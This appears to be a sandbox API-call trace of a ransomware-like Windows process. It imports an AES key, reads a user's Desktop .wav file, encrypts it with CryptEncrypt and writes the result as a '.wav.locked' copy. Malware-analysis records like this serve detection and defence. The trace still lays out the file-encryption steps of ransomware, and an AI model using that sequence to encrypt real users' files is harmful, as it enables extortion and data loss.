(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0125.046] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.046] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0125.046] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0125.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0125.046] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.047] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0125.047] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0125.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0125.047] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.047] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0125.047] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0125.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0125.047] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.047] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0125.047] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0125.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0125.047] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.047] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0125.047] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0125.048] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0125.048] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0125.048] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0125.048] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0125.048] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0125.048] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0125.048] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0125.048] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0125.048] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.048] SystemFunction041 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0125.049] SystemFunction040 (in: Memory=0x8e3092c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3092c) returned 0x0 [0125.049] CryptAcquireContextW (in: phProv=0x99ae670, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae670*=0x4396570) returned 1 [0125.050] CryptImportKey (in: hProv=0x4396570, pbData=0x6990740, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea48 | out: phKey=0x99aea48*=0x8e85038) returned 1 [0125.050] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.050] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae780, nSize=0xe4 | out: lpBuffer="\xbbcc\x2447\x47bb\xcc24\xbbcc\x2447\x47bb\xcc24\xe7f0\x99a\x9aac\x7477\xe828\x99a\xc5d8\x438\xc5d8\x438\x242") returned 0x0 [0125.050] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb20*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb20*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.050] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea80*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.050] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.073] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav")) returned 0x20 [0125.073] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav")) returned 0x20 [0125.073] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae400, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.073] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.073] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaac*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaac*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.073] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.074] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.074] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.074] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.074] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.074] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.074] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.074] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0125.074] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0125.075] GetFileType (hFile=0x874) returned 0x1 [0125.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0125.075] GetFileType (hFile=0x874) returned 0x1 [0125.075] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.075] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="\x03") returned 0x0 [0125.075] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.076] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.076] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.076] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked", nBufferLength=0x105, lpBuffer=0x99add60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked", lpFilePart=0x0) returned 0x56 [0125.076] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae254) returned 1 [0125.076] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x878 [0125.077] GetFileType (hFile=0x878) returned 0x1 [0125.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae250) returned 1 [0125.077] GetFileType (hFile=0x878) returned 0x1 [0125.077] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.077] CryptGenRandom (in: hProv=0x4396570, dwLen=0x10, pbBuffer=0x69aaa18 | out: pbBuffer=0x69aaa18) returned 1 [0125.077] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.077] CryptDuplicateKey (in: hKey=0x8e85038, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae9f8 | out: phKey=0x99ae9f8*=0x8e85078) returned 1 [0125.077] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0125.077] CryptSetKeyParam (hKey=0x8e85078, dwParam=0x4, pbData=0x69abdb8*=0x1, dwFlags=0x0) returned 1 [0125.078] CryptSetKeyParam (hKey=0x8e85078, dwParam=0x1, pbData=0x69abd84, dwFlags=0x0) returned 1 [0125.078] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.078] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.078] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.078] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.078] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8f4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.078] ReadFile (in: hFile=0x874, lpBuffer=0x69af308, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x69af308*, lpNumberOfBytesRead=0x99ae9fc*=0xaa63, lpOverlapped=0x0) returned 1 [0125.079] CryptEncrypt (in: hKey=0x8e85078, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69c3314*, pdwDataLen=0x99ae9f0*=0xaa60, dwBufLen=0xaa60 | out: pbData=0x69c3314*, pdwDataLen=0x99ae9f0*=0xaa60) returned 1 [0125.079] WriteFile (in: hFile=0x878, lpBuffer=0x69aab24*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x69aab24*, lpNumberOfBytesWritten=0x99ae9d4*=0x1000, lpOverlapped=0x0) returned 1 [0125.080] WriteFile (in: hFile=0x878, lpBuffer=0x69c4300*, nNumberOfBytesToWrite=0x9a74, lpNumberOfBytesWritten=0x99ae9d4, lpOverlapped=0x0 | out: lpBuffer=0x69c4300*, lpNumberOfBytesWritten=0x99ae9d4*=0x9a74, lpOverlapped=0x0) returned 1 [0125.081] ReadFile (in: hFile=0x874, lpBuffer=0x69af308, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x69af308*, lpNumberOfBytesRead=0x99ae9fc*=0x0, lpOverlapped=0x0) returned 1 [0125.081] CryptEncrypt (in: hKey=0x8e85078, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69cdde4*, pdwDataLen=0x99aea50*=0x10, dwBufLen=0x10 | out: pbData=0x69cdde4*, pdwDataLen=0x99aea50*=0x10) returned 1 [0125.081] CryptEncrypt (in: hKey=0x8e85078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69cde18*, pdwDataLen=0x99aea58*=0x0, dwBufLen=0x10 | out: pbData=0x69cde18*, pdwDataLen=0x99aea58*=0x10) returned 1 [0125.081] WriteFile (in: hFile=0x878, lpBuffer=0x69aab24*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99aea28, lpOverlapped=0x0 | out: lpBuffer=0x69aab24*, lpNumberOfBytesWritten=0x99aea28*=0x10, lpOverlapped=0x0) returned 1 [0125.081] CloseHandle (hObject=0x878) returned 1 [0125.094] CloseHandle (hObject=0x874) returned 1 [0125.094] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", nBufferLength=0x105, lpBuffer=0x99ae4a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav", lpFilePart=0x0) returned 0x4f [0125.094] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae5c8, nSize=0xe4 | out: lpBuffer="") returned 0x0 [0125.094] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.094] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.094] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae958*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0125.095] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\fJKyMwC6KN-3QxYeJ 1U\\Fs-cYCSAoYh e\\IU92qrGsq4.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\fjkymwc6kn-3qxyej 1u\\fs-cycsaoyh e\\iu92qrgsq4.wav")) returned 0x20 